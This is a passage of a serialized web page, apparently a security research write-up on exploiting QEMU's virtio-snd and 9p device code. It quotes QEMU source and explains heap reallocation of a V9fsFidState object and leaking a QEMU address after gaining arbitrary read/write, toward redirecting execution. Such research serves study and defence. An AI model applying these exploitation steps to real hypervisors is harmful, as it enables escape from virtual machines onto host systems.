",{"type":24,"tag":284,"props":136650,"children":136652},{"className":136651},[],[136653],{"type":29,"value":136654},"alloc_fid",{"type":29,"value":136656},", which allocates a new ",{"type":24,"tag":284,"props":136658,"children":136660},{"className":136659},[],[136661],{"type":29,"value":136503},{"type":29,"value":1636},{"type":24,"tag":317,"props":136664,"children":136666},{"code":136665,"language":320,"meta":7,"className":321,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[136667],{"type":24,"tag":284,"props":136668,"children":136669},{"__ignoreMap":7},[136670,136710,136717,136733,136761,136768,136775,136782,136803,136810,136825,136847,136871,136892,136903,136910,136948,136990,136997,137004,137011,137018,137025,137076,137083,137098,137105,137153,137165,137173,137202,137217,137224,137253,137260],{"type":24,"tag":327,"props":136671,"children":136672},{"class":329,"line":330},[136673,136677,136681,136685,136690,136694,136698,136702,136706],{"type":24,"tag":327,"props":136674,"children":136675},{"style":334},[136676],{"type":29,"value":57765},{"type":24,"tag":327,"props":136678,"children":136679},{"style":334},[136680],{"type":29,"value":57770},{"type":24,"tag":327,"props":136682,"children":136683},{"style":346},[136684],{"type":29,"value":134671},{"type":24,"tag":327,"props":136686,"children":136687},{"style":340},[136688],{"type":29,"value":136689},"v9fs_walk",{"type":24,"tag":327,"props":136691,"children":136692},{"style":346},[136693],{"type":29,"value":349},{"type":24,"tag":327,"props":136695,"children":136696},{"style":334},[136697],{"type":29,"value":58348},{"type":24,"tag":327,"props":136699,"children":136700},{"style":381},[136701],{"type":29,"value":17364},{"type":24,"tag":327,"props":136703,"children":136704},{"style":356},[136705],{"type":29,"value":134693},{"type":24,"tag":327,"props":136707,"children":136708},{"style":346},[136709],{"type":29,"value":852},{"type":24,"tag":327,"props":136711,"children":136712},{"class":329,"line":367},[136713],{"type":24,"tag":327,"props":136714,"children":136715},{"style":346},[136716],{"type":29,"value":18427},{"type":24,"tag":327,"props":136718,"children":136719},{"class":329,"line":408},[136720,136724,136728],{"type":24,"tag":327,"props":136721,"children":136722},{"style":346},[136723],{"type":29,"value":134818},{"type":24,"tag":327,"props":136725,"children":136726},{"style":381},[136727],{"type":29,"value":469},{"type":24,"tag":327,"props":136729,"children":136730},{"style":346},[136731],{"type":29,"value":136732},"fidp;\n",{"type":24,"tag":327,"props":136734,"children":136735},{"class":329,"line":421},[136736,136740,136744,136749,136753,136757],{"type":24,"tag":327,"props":136737,"children":136738},{"style":346},[136739],{"type":29,"value":134818},{"type":24,"tag":327,"props":136741,"children":136742},{"style":381},[136743],{"type":29,"value":469},{"type":24,"tag":327,"props":136745,"children":136746},{"style":346},[136747],{"type":29,"value":136748},"newfidp ",{"type":24,"tag":327,"props":136750,"children":136751},{"style":381},[136752],{"type":29,"value":384},{"type":24,"tag":327,"props":136754,"children":136755},{"style":334},[136756],{"type":29,"value":134497},{"type":24,"tag":327,"props":136758,"children":136759},{"style":346},[136760],{"type":29,"value":405},{"type":24,"tag":327,"props":136762,"children":136763},{"class":329,"line":450},[136764],{"type":24,"tag":327,"props":136765,"children":136766},{"emptyLinePlaceholder":16},[136767],{"type":29,"value":544},{"type":24,"tag":327,"props":136769,"children":136770},{"class":329,"line":481},[136771],{"type":24,"tag":327,"props":136772,"children":136773},{"style":346},[136774],{"type":29,"value":111528},{"type":24,"tag":327,"props":136776,"children":136777},{"class":329,"line":500},[136778],{"type":24,"tag":327,"props":136779,"children":136780},{"emptyLinePlaceholder":16},[136781],{"type":29,"value":544},{"type":24,"tag":327,"props":136783,"children":136784},{"class":329,"line":529},[136785,136789,136794,136798],{"type":24,"tag":327,"props":136786,"children":136787},{"style":425},[136788],{"type":29,"value":428},{"type":24,"tag":327,"props":136790,"children":136791},{"style":346},[136792],{"type":29,"value":136793}," (fid ",{"type":24,"tag":327,"props":136795,"children":136796},{"style":381},[136797],{"type":29,"value":642},{"type":24,"tag":327,"props":136799,"children":136800},{"style":346},[136801],{"type":29,"value":136802}," newfid) {\n",{"type":24,"tag":327,"props":136804,"children":136805},{"class":329,"line":538},[136806],{"type":24,"tag":327,"props":136807,"children":136808},{"style":346},[136809],{"type":29,"value":130766},{"type":24,"tag":327,"props":136811,"children":136812},{"class":329,"line":547},[136813,136817,136821],{"type":24,"tag":327,"props":136814,"children":136815},{"style":346},[136816],{"type":29,"value":487},{"type":24,"tag":327,"props":136818,"children":136819},{"style":425},[136820],{"type":29,"value":492},{"type":24,"tag":327,"props":136822,"children":136823},{"style":346},[136824],{"type":29,"value":497},{"type":24,"tag":327,"props":136826,"children":136827},{"class":329,"line":557},[136828,136833,136837,136842],{"type":24,"tag":327,"props":136829,"children":136830},{"style":346},[136831],{"type":29,"value":136832},"        newfidp ",{"type":24,"tag":327,"props":136834,"children":136835},{"style":381},[136836],{"type":29,"value":384},{"type":24,"tag":327,"props":136838,"children":136839},{"style":340},[136840],{"type":29,"value":136841}," alloc_fid",{"type":24,"tag":327,"props":136843,"children":136844},{"style":346},[136845],{"type":29,"value":136846},"(s, newfid);\n",{"type":24,"tag":327,"props":136848,"children":136849},{"class":329,"line":586},[136850,136854,136859,136863,136867],{"type":24,"tag":327,"props":136851,"children":136852},{"style":425},[136853],{"type":29,"value":8861},{"type":24,"tag":327,"props":136855,"children":136856},{"style":346},[136857],{"type":29,"value":136858}," (newfidp ",{"type":24,"tag":327,"props":136860,"children":136861},{"style":381},[136862],{"type":29,"value":642},{"type":24,"tag":327,"props":136864,"children":136865},{"style":334},[136866],{"type":29,"value":134497},{"type":24,"tag":327,"props":136868,"children":136869},{"style":346},[136870],{"type":29,"value":364},{"type":24,"tag":327,"props":136872,"children":136873},{"class":329,"line":1017},[136874,136879,136883,136887],{"type":24,"tag":327,"props":136875,"children":136876},{"style":346},[136877],{"type":29,"value":136878},"            err ",{"type":24,"tag":327,"props":136880,"children":136881},{"style":381},[136882],{"type":29,"value":384},{"type":24,"tag":327,"props":136884,"children":136885},{"style":381},[136886],{"type":29,"value":57976},{"type":24,"tag":327,"props":136888,"children":136889},{"style":346},[136890],{"type":29,"value":136891},"EINVAL;\n",{"type":24,"tag":327,"props":136893,"children":136894},{"class":329,"line":1026},[136895,136899],{"type":24,"tag":327,"props":136896,"children":136897},{"style":425},[136898],{"type":29,"value":67272},{"type":24,"tag":327,"props":136900,"children":136901},{"style":346},[136902],{"type":29,"value":67277},{"type":24,"tag":327,"props":136904,"children":136905},{"class":329,"line":1048},[136906],{"type":24,"tag":327,"props":136907,"children":136908},{"style":346},[136909],{"type":29,"value":8989},{"type":24,"tag":327,"props":136911,"children":136912},{"class":329,"line":1067},[136913,136918,136922,136927,136931,136936,136940,136944],{"type":24,"tag":327,"props":136914,"children":136915},{"style":356},[136916],{"type":29,"value":136917},"        newfidp",{"type":24,"tag":327,"props":136919,"children":136920},{"style":346},[136921],{"type":29,"value":1679},{"type":24,"tag":327,"props":136923,"children":136924},{"style":356},[136925],{"type":29,"value":136926},"uid",{"type":24,"tag":327,"props":136928,"children":136929},{"style":381},[136930],{"type":29,"value":4809},{"type":24,"tag":327,"props":136932,"children":136933},{"style":356},[136934],{"type":29,"value":136935}," fidp",{"type":24,"tag":327,"props":136937,"children":136938},{"style":346},[136939],{"type":29,"value":1679},{"type":24,"tag":327,"props":136941,"children":136942},{"style":356},[136943],{"type":29,"value":136926},{"type":24,"tag":327,"props":136945,"children":136946},{"style":346},[136947],{"type":29,"value":405},{"type":24,"tag":327,"props":136949,"children":136950},{"class":329,"line":1075},[136951,136956,136960,136964,136969,136973,136977,136981,136985],{"type":24,"tag":327,"props":136952,"children":136953},{"style":340},[136954],{"type":29,"value":136955},"        v9fs_path_copy",{"type":24,"tag":327,"props":136957,"children":136958},{"style":346},[136959],{"type":29,"value":349},{"type":24,"tag":327,"props":136961,"children":136962},{"style":381},[136963],{"type":29,"value":8716},{"type":24,"tag":327,"props":136965,"children":136966},{"style":356},[136967],{"type":29,"value":136968},"newfidp",{"type":24,"tag":327,"props":136970,"children":136971},{"style":346},[136972],{"type":29,"value":1679},{"type":24,"tag":327,"props":136974,"children":136975},{"style":356},[136976],{"type":29,"value":119051},{"type":24,"tag":327,"props":136978,"children":136979},{"style":346},[136980],{"type":29,"value":2744},{"type":24,"tag":327,"props":136982,"children":136983},{"style":381},[136984],{"type":29,"value":8716},{"type":24,"tag":327,"props":136986,"children":136987},{"style":346},[136988],{"type":29,"value":136989},"path);\n",{"type":24,"tag":327,"props":136991,"children":136992},{"class":329,"line":1084},[136993],{"type":24,"tag":327,"props":136994,"children":136995},{"style":346},[136996],{"type":29,"value":535},{"type":24,"tag":327,"props":136998,"children":136999},{"class":329,"line":1100},[137000],{"type":24,"tag":327,"props":137001,"children":137002},{"emptyLinePlaceholder":16},[137003],{"type":29,"value":544},{"type":24,"tag":327,"props":137005,"children":137006},{"class":329,"line":1128},[137007],{"type":24,"tag":327,"props":137008,"children":137009},{"style":346},[137010],{"type":29,"value":111528},{"type":24,"tag":327,"props":137012,"children":137013},{"class":329,"line":1148},[137014],{"type":24,"tag":327,"props":137015,"children":137016},{"style":346},[137017],{"type":29,"value":592},{"type":24,"tag":327,"props":137019,"children":137020},{"class":329,"line":1176},[137021],{"type":24,"tag":327,"props":137022,"children":137023},{"emptyLinePlaceholder":16},[137024],{"type":29,"value":544},{"type":24,"tag":327,"props":137026,"children":137027},{"class":329,"line":1184},[137028,137032,137037,137041,137045,137050,137054,137058,137062,137067,137072],{"type":24,"tag":327,"props":137029,"children":137030},{"style":334},[137031],{"type":29,"value":57765},{"type":24,"tag":327,"props":137033,"children":137034},{"style":346},[137035],{"type":29,"value":137036}," V9fsFidState ",{"type":24,"tag":327,"props":137038,"children":137039},{"style":381},[137040],{"type":29,"value":469},{"type":24,"tag":327,"props":137042,"children":137043},{"style":340},[137044],{"type":29,"value":136654},{"type":24,"tag":327,"props":137046,"children":137047},{"style":346},[137048],{"type":29,"value":137049},"(V9fsState ",{"type":24,"tag":327,"props":137051,"children":137052},{"style":381},[137053],{"type":29,"value":469},{"type":24,"tag":327,"props":137055,"children":137056},{"style":356},[137057],{"type":29,"value":18198},{"type":24,"tag":327,"props":137059,"children":137060},{"style":346},[137061],{"type":29,"value":2744},{"type":24,"tag":327,"props":137063,"children":137064},{"style":334},[137065],{"type":29,"value":137066},"int32_t",{"type":24,"tag":327,"props":137068,"children":137069},{"style":356},[137070],{"type":29,"value":137071}," fid",{"type":24,"tag":327,"props":137073,"children":137074},{"style":346},[137075],{"type":29,"value":852},{"type":24,"tag":327,"props":137077,"children":137078},{"class":329,"line":1192},[137079],{"type":24,"tag":327,"props":137080,"children":137081},{"style":346},[137082],{"type":29,"value":18427},{"type":24,"tag":327,"props":137084,"children":137085},{"class":329,"line":1212},[137086,137090,137094],{"type":24,"tag":327,"props":137087,"children":137088},{"style":346},[137089],{"type":29,"value":134818},{"type":24,"tag":327,"props":137091,"children":137092},{"style":381},[137093],{"type":29,"value":469},{"type":24,"tag":327,"props":137095,"children":137096},{"style":346},[137097],{"type":29,"value":57886},{"type":24,"tag":327,"props":137099,"children":137100},{"class":329,"line":4841},[137101],{"type":24,"tag":327,"props":137102,"children":137103},{"emptyLinePlaceholder":16},[137104],{"type":29,"value":544},{"type":24,"tag":327,"props":137106,"children":137107},{"class":329,"line":4862},[137108,137113,137117,137122,137126,137130,137134,137139,137143,137148],{"type":24,"tag":327,"props":137109,"children":137110},{"style":346},[137111],{"type":29,"value":137112},"    f ",{"type":24,"tag":327,"props":137114,"children":137115},{"style":381},[137116],{"type":29,"value":384},{"type":24,"tag":327,"props":137118,"children":137119},{"style":340},[137120],{"type":29,"value":137121}," g_hash_table_lookup",{"type":24,"tag":327,"props":137123,"children":137124},{"style":346},[137125],{"type":29,"value":349},{"type":24,"tag":327,"props":137127,"children":137128},{"style":356},[137129],{"type":29,"value":18198},{"type":24,"tag":327,"props":137131,"children":137132},{"style":346},[137133],{"type":29,"value":1679},{"type":24,"tag":327,"props":137135,"children":137136},{"style":356},[137137],{"type":29,"value":137138},"fids",{"type":24,"tag":327,"props":137140,"children":137141},{"style":346},[137142],{"type":29,"value":2744},{"type":24,"tag":327,"props":137144,"children":137145},{"style":340},[137146],{"type":29,"value":137147},"GINT_TO_POINTER",{"type":24,"tag":327,"props":137149,"children":137150},{"style":346},[137151],{"type":29,"value":137152},"(fid));\n",{"type":24,"tag":327,"props":137154,"children":137155},{"class":329,"line":4870},[137156,137160],{"type":24,"tag":327,"props":137157,"children":137158},{"style":425},[137159],{"type":29,"value":428},{"type":24,"tag":327,"props":137161,"children":137162},{"style":346},[137163],{"type":29,"value":137164}," (f) {\n",{"type":24,"tag":327,"props":137166,"children":137167},{"class":329,"line":4879},[137168],{"type":24,"tag":327,"props":137169,"children":137170},{"style":551},[137171],{"type":29,"value":137172},"        /* If fid is already there return NULL */\n",{"type":24,"tag":327,"props":137174,"children":137175},{"class":329,"line":4913},[137176,137181,137185,137189,137193,137198],{"type":24,"tag":327,"props":137177,"children":137178},{"style":340},[137179],{"type":29,"value":137180},"        BUG_ON",{"type":24,"tag":327,"props":137182,"children":137183},{"style":346},[137184],{"type":29,"value":349},{"type":24,"tag":327,"props":137186,"children":137187},{"style":356},[137188],{"type":29,"value":39796},{"type":24,"tag":327,"props":137190,"children":137191},{"style":346},[137192],{"type":29,"value":1679},{"type":24,"tag":327,"props":137194,"children":137195},{"style":356},[137196],{"type":29,"value":137197},"clunked",{"type":24,"tag":327,"props":137199,"children":137200},{"style":346},[137201],{"type":29,"value":583},{"type":24,"tag":327,"props":137203,"children":137204},{"class":329,"line":4938},[137205,137209,137213],{"type":24,"tag":327,"props":137206,"children":137207},{"style":425},[137208],{"type":29,"value":4944},{"type":24,"tag":327,"props":137210,"children":137211},{"style":334},[137212],{"type":29,"value":134497},{"type":24,"tag":327,"props":137214,"children":137215},{"style":346},[137216],{"type":29,"value":405},{"type":24,"tag":327,"props":137218,"children":137219},{"class":329,"line":4974},[137220],{"type":24,"tag":327,"props":137221,"children":137222},{"style":346},[137223],{"type":29,"value":535},{"type":24,"tag":327,"props":137225,"children":137226},{"class":329,"line":4982},[137227,137231,137235,137240,137245,137249],{"type":24,"tag":327,"props":137228,"children":137229},{"style":346},[137230],{"type":29,"value":137112},{"type":24,"tag":327,"props":137232,"children":137233},{"style":381},[137234],{"type":29,"value":384},{"type":24,"tag":327,"props":137236,"children":137237},{"style":340},[137238],{"type":29,"value":137239}," g_new0",{"type":24,"tag":327,"props":137241,"children":137242},{"style":346},[137243],{"type":29,"value":137244},"(V9fsFidState, ",{"type":24,"tag":327,"props":137246,"children":137247},{"style":397},[137248],{"type":29,"value":3238},{"type":24,"tag":327,"props":137250,"children":137251},{"style":346},[137252],{"type":29,"value":583},{"type":24,"tag":327,"props":137254,"children":137255},{"class":329,"line":4990},[137256],{"type":24,"tag":327,"props":137257,"children":137258},{"emptyLinePlaceholder":16},[137259],{"type":29,"value":544},{"type":24,"tag":327,"props":137261,"children":137262},{"class":329,"line":4999},[137263],{"type":24,"tag":327,"props":137264,"children":137265},{"style":346},[137266],{"type":29,"value":111528},{"type":24,"tag":25,"props":137268,"children":137269},{},[137270,137272,137277],{"type":29,"value":137271},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":24,"tag":284,"props":137273,"children":137275},{"className":137274},[],[137276],{"type":29,"value":136072},{"type":29,"value":135409},{"type":24,"tag":317,"props":137279,"children":137281},{"code":137280},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[137282],{"type":24,"tag":284,"props":137283,"children":137284},{"__ignoreMap":7},[137285],{"type":29,"value":137280},{"type":24,"tag":168,"props":137287,"children":137289},{"id":137288},"leaking-a-qemu-address",[137290],{"type":29,"value":137291},"Leaking a QEMU Address",{"type":24,"tag":25,"props":137293,"children":137294},{},[137295],{"type":29,"value":137296},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":24,"tag":25,"props":137298,"children":137299},{},[137300,137302,137307],{"type":29,"value":137301},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":24,"tag":284,"props":137303,"children":137305},{"className":137304},[],[137306],{"type":29,"value":130492},{"type":29,"value":1636},{"type":24,"tag":317,"props":137309,"children":137311},{"code":137310,"language":320,"meta":7,"className":321,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[137312],{"type":24,"tag":284,"props":137313,"children":137314},{"__ignoreMap":7},[137315,137358,137365,137396,137411,137426,137438,137451,137458,137465,137472,137483,137498,137505,137533,137552,137563,137570,137578,137615,137636,137648,137661,137674,137700,137712,137719,137757,137764,137771,137778,137809,137864,137876,137917,137940,137969,137996,138023,138055],{"type":24,"tag":327,"props":137316,"children":137317},{"class":329,"line":330},[137318,137322,137326,137330,137334,137338,137342,137346,137350,137354],{"type":24,"tag":327,"props":137319,"children":137320},{"style":334},[137321],{"type":29,"value":57765},{"type":24,"tag":327,"props":137323,"children":137324},{"style":334},[137325],{"type":29,"value":57770},{"type":24,"tag":327,"props":137327,"children":137328},{"style":340},[137329],{"type":29,"value":130571},{"type":24,"tag":327,"props":137331,"children":137332},{"style":346},[137333],{"type":29,"value":130576},{"type":24,"tag":327,"props":137335,"children":137336},{"style":381},[137337],{"type":29,"value":469},{"type":24,"tag":327,"props":137339,"children":137340},{"style":356},[137341],{"type":29,"value":130585},{"type":24,"tag":327,"props":137343,"children":137344},{"style":346},[137345],{"type":29,"value":130590},{"type":24,"tag":327,"props":137347,"children":137348},{"style":381},[137349],{"type":29,"value":469},{"type":24,"tag":327,"props":137351,"children":137352},{"style":356},[137353],{"type":29,"value":130599},{"type":24,"tag":327,"props":137355,"children":137356},{"style":346},[137357],{"type":29,"value":852},{"type":24,"tag":327,"props":137359,"children":137360},{"class":329,"line":367},[137361],{"type":24,"tag":327,"props":137362,"children":137363},{"style":346},[137364],{"type":29,"value":18427},{"type":24,"tag":327,"props":137366,"children":137367},{"class":329,"line":408},[137368,137373,137377,137382,137386,137391],{"type":24,"tag":327,"props":137369,"children":137370},{"style":346},[137371],{"type":29,"value":137372},"    VirtIOSound ",{"type":24,"tag":327,"props":137374,"children":137375},{"style":381},[137376],{"type":29,"value":469},{"type":24,"tag":327,"props":137378,"children":137379},{"style":346},[137380],{"type":29,"value":137381},"vsnd ",{"type":24,"tag":327,"props":137383,"children":137384},{"style":381},[137385],{"type":29,"value":384},{"type":24,"tag":327,"props":137387,"children":137388},{"style":340},[137389],{"type":29,"value":137390}," VIRTIO_SND",{"type":24,"tag":327,"props":137392,"children":137393},{"style":346},[137394],{"type":29,"value":137395},"(vdev);\n",{"type":24,"tag":327,"props":137397,"children":137398},{"class":329,"line":421},[137399,137403,137407],{"type":24,"tag":327,"props":137400,"children":137401},{"style":346},[137402],{"type":29,"value":131589},{"type":24,"tag":327,"props":137404,"children":137405},{"style":381},[137406],{"type":29,"value":469},{"type":24,"tag":327,"props":137408,"children":137409},{"style":346},[137410],{"type":29,"value":131598},{"type":24,"tag":327,"props":137412,"children":137413},{"class":329,"line":450},[137414,137418,137422],{"type":24,"tag":327,"props":137415,"children":137416},{"style":346},[137417],{"type":29,"value":130618},{"type":24,"tag":327,"props":137419,"children":137420},{"style":381},[137421],{"type":29,"value":469},{"type":24,"tag":327,"props":137423,"children":137424},{"style":346},[137425],{"type":29,"value":130627},{"type":24,"tag":327,"props":137427,"children":137428},{"class":329,"line":481},[137429,137433],{"type":24,"tag":327,"props":137430,"children":137431},{"style":334},[137432],{"type":29,"value":24079},{"type":24,"tag":327,"props":137434,"children":137435},{"style":346},[137436],{"type":29,"value":137437}," msg_sz, size;\n",{"type":24,"tag":327,"props":137439,"children":137440},{"class":329,"line":500},[137441,137446],{"type":24,"tag":327,"props":137442,"children":137443},{"style":334},[137444],{"type":29,"value":137445},"    uint32_t",{"type":24,"tag":327,"props":137447,"children":137448},{"style":346},[137449],{"type":29,"value":137450}," stream_id;\n",{"type":24,"tag":327,"props":137452,"children":137453},{"class":329,"line":529},[137454],{"type":24,"tag":327,"props":137455,"children":137456},{"emptyLinePlaceholder":16},[137457],{"type":29,"value":544},{"type":24,"tag":327,"props":137459,"children":137460},{"class":329,"line":538},[137461],{"type":24,"tag":327,"props":137462,"children":137463},{"style":346},[137464],{"type":29,"value":111528},{"type":24,"tag":327,"props":137466,"children":137467},{"class":329,"line":547},[137468],{"type":24,"tag":327,"props":137469,"children":137470},{"emptyLinePlaceholder":16},[137471],{"type":29,"value":544},{"type":24,"tag":327,"props":137473,"children":137474},{"class":329,"line":557},[137475,137479],{"type":24,"tag":327,"props":137476,"children":137477},{"style":425},[137478],{"type":29,"value":10643},{"type":24,"tag":327,"props":137480,"children":137481},{"style":346},[137482],{"type":29,"value":130653},{"type":24,"tag":327,"props":137484,"children":137485},{"class":329,"line":586},[137486,137490,137494],{"type":24,"tag":327,"props":137487,"children":137488},{"style":346},[137489],{"type":29,"value":130661},{"type":24,"tag":327,"props":137491,"children":137492},{"style":381},[137493],{"type":29,"value":469},{"type":24,"tag":327,"props":137495,"children":137496},{"style":346},[137497],{"type":29,"value":130670},{"type":24,"tag":327,"props":137499,"children":137500},{"class":329,"line":1017},[137501],{"type":24,"tag":327,"props":137502,"children":137503},{"emptyLinePlaceholder":16},[137504],{"type":29,"value":544},{"type":24,"tag":327,"props":137506,"children":137507},{"class":329,"line":1026},[137508,137512,137516,137520,137524,137528],{"type":24,"tag":327,"props":137509,"children":137510},{"style":346},[137511],{"type":29,"value":130685},{"type":24,"tag":327,"props":137513,"children":137514},{"style":381},[137515],{"type":29,"value":384},{"type":24,"tag":327,"props":137517,"children":137518},{"style":340},[137519],{"type":29,"value":130694},{"type":24,"tag":327,"props":137521,"children":137522},{"style":346},[137523],{"type":29,"value":130699},{"type":24,"tag":327,"props":137525,"children":137526},{"style":334},[137527],{"type":29,"value":62049},{"type":24,"tag":327,"props":137529,"children":137530},{"style":346},[137531],{"type":29,"value":137532},"(VirtQueueElement));\n",{"type":24,"tag":327,"props":137534,"children":137535},{"class":329,"line":1048},[137536,137540,137544,137548],{"type":24,"tag":327,"props":137537,"children":137538},{"style":425},[137539],{"type":29,"value":8861},{"type":24,"tag":327,"props":137541,"children":137542},{"style":346},[137543],{"type":29,"value":5894},{"type":24,"tag":327,"props":137545,"children":137546},{"style":381},[137547],{"type":29,"value":1986},{"type":24,"tag":327,"props":137549,"children":137550},{"style":346},[137551],{"type":29,"value":130733},{"type":24,"tag":327,"props":137553,"children":137554},{"class":329,"line":1067},[137555,137559],{"type":24,"tag":327,"props":137556,"children":137557},{"style":425},[137558],{"type":29,"value":10902},{"type":24,"tag":327,"props":137560,"children":137561},{"style":346},[137562],{"type":29,"value":405},{"type":24,"tag":327,"props":137564,"children":137565},{"class":329,"line":1075},[137566],{"type":24,"tag":327,"props":137567,"children":137568},{"style":346},[137569],{"type":29,"value":8989},{"type":24,"tag":327,"props":137571,"children":137572},{"class":329,"line":1084},[137573],{"type":24,"tag":327,"props":137574,"children":137575},{"style":551},[137576],{"type":29,"value":137577},"        /* get the message hdr object */\n",{"type":24,"tag":327,"props":137579,"children":137580},{"class":329,"line":1100},[137581,137586,137590,137595,137599,137603,137607,137611],{"type":24,"tag":327,"props":137582,"children":137583},{"style":346},[137584],{"type":29,"value":137585},"        msg_sz ",{"type":24,"tag":327,"props":137587,"children":137588},{"style":381},[137589],{"type":29,"value":384},{"type":24,"tag":327,"props":137591,"children":137592},{"style":340},[137593],{"type":29,"value":137594}," iov_to_buf",{"type":24,"tag":327,"props":137596,"children":137597},{"style":346},[137598],{"type":29,"value":349},{"type":24,"tag":327,"props":137600,"children":137601},{"style":356},[137602],{"type":29,"value":58785},{"type":24,"tag":327,"props":137604,"children":137605},{"style":346},[137606],{"type":29,"value":1679},{"type":24,"tag":327,"props":137608,"children":137609},{"style":356},[137610],{"type":29,"value":131137},{"type":24,"tag":327,"props":137612,"children":137613},{"style":346},[137614],{"type":29,"value":2231},{"type":24,"tag":327,"props":137616,"children":137617},{"class":329,"line":1128},[137618,137623,137627,137632],{"type":24,"tag":327,"props":137619,"children":137620},{"style":356},[137621],{"type":29,"value":137622},"                            elem",{"type":24,"tag":327,"props":137624,"children":137625},{"style":346},[137626],{"type":29,"value":1679},{"type":24,"tag":327,"props":137628,"children":137629},{"style":356},[137630],{"type":29,"value":137631},"out_num",{"type":24,"tag":327,"props":137633,"children":137634},{"style":346},[137635],{"type":29,"value":2231},{"type":24,"tag":327,"props":137637,"children":137638},{"class":329,"line":1148},[137639,137644],{"type":24,"tag":327,"props":137640,"children":137641},{"style":397},[137642],{"type":29,"value":137643},"                            0",{"type":24,"tag":327,"props":137645,"children":137646},{"style":346},[137647],{"type":29,"value":2231},{"type":24,"tag":327,"props":137649,"children":137650},{"class":329,"line":1176},[137651,137656],{"type":24,"tag":327,"props":137652,"children":137653},{"style":381},[137654],{"type":29,"value":137655},"                            &",{"type":24,"tag":327,"props":137657,"children":137658},{"style":346},[137659],{"type":29,"value":137660},"hdr,\n",{"type":24,"tag":327,"props":137662,"children":137663},{"class":329,"line":1184},[137664,137669],{"type":24,"tag":327,"props":137665,"children":137666},{"style":334},[137667],{"type":29,"value":137668},"                            sizeof",{"type":24,"tag":327,"props":137670,"children":137671},{"style":346},[137672],{"type":29,"value":137673},"(virtio_snd_pcm_xfer));\n",{"type":24,"tag":327,"props":137675,"children":137676},{"class":329,"line":1192},[137677,137681,137686,137690,137695],{"type":24,"tag":327,"props":137678,"children":137679},{"style":425},[137680],{"type":29,"value":8861},{"type":24,"tag":327,"props":137682,"children":137683},{"style":346},[137684],{"type":29,"value":137685}," (msg_sz ",{"type":24,"tag":327,"props":137687,"children":137688},{"style":381},[137689],{"type":29,"value":573},{"type":24,"tag":327,"props":137691,"children":137692},{"style":334},[137693],{"type":29,"value":137694}," sizeof",{"type":24,"tag":327,"props":137696,"children":137697},{"style":346},[137698],{"type":29,"value":137699},"(virtio_snd_pcm_xfer)) {\n",{"type":24,"tag":327,"props":137701,"children":137702},{"class":329,"line":1212},[137703,137707],{"type":24,"tag":327,"props":137704,"children":137705},{"style":425},[137706],{"type":29,"value":67272},{"type":24,"tag":327,"props":137708,"children":137709},{"style":346},[137710],{"type":29,"value":137711}," rx_err;\n",{"type":24,"tag":327,"props":137713,"children":137714},{"class":329,"line":4841},[137715],{"type":24,"tag":327,"props":137716,"children":137717},{"style":346},[137718],{"type":29,"value":8989},{"type":24,"tag":327,"props":137720,"children":137721},{"class":329,"line":4862},[137722,137727,137731,137735,137739,137744,137748,137753],{"type":24,"tag":327,"props":137723,"children":137724},{"style":346},[137725],{"type":29,"value":137726},"        stream_id ",{"type":24,"tag":327,"props":137728,"children":137729},{"style":381},[137730],{"type":29,"value":384},{"type":24,"tag":327,"props":137732,"children":137733},{"style":340},[137734],{"type":29,"value":132599},{"type":24,"tag":327,"props":137736,"children":137737},{"style":346},[137738],{"type":29,"value":349},{"type":24,"tag":327,"props":137740,"children":137741},{"style":356},[137742],{"type":29,"value":137743},"hdr",{"type":24,"tag":327,"props":137745,"children":137746},{"style":346},[137747],{"type":29,"value":66},{"type":24,"tag":327,"props":137749,"children":137750},{"style":356},[137751],{"type":29,"value":137752},"stream_id",{"type":24,"tag":327,"props":137754,"children":137755},{"style":346},[137756],{"type":29,"value":583},{"type":24,"tag":327,"props":137758,"children":137759},{"class":329,"line":4870},[137760],{"type":24,"tag":327,"props":137761,"children":137762},{"emptyLinePlaceholder":16},[137763],{"type":29,"value":544},{"type":24,"tag":327,"props":137765,"children":137766},{"class":329,"line":4879},[137767],{"type":24,"tag":327,"props":137768,"children":137769},{"style":346},[1377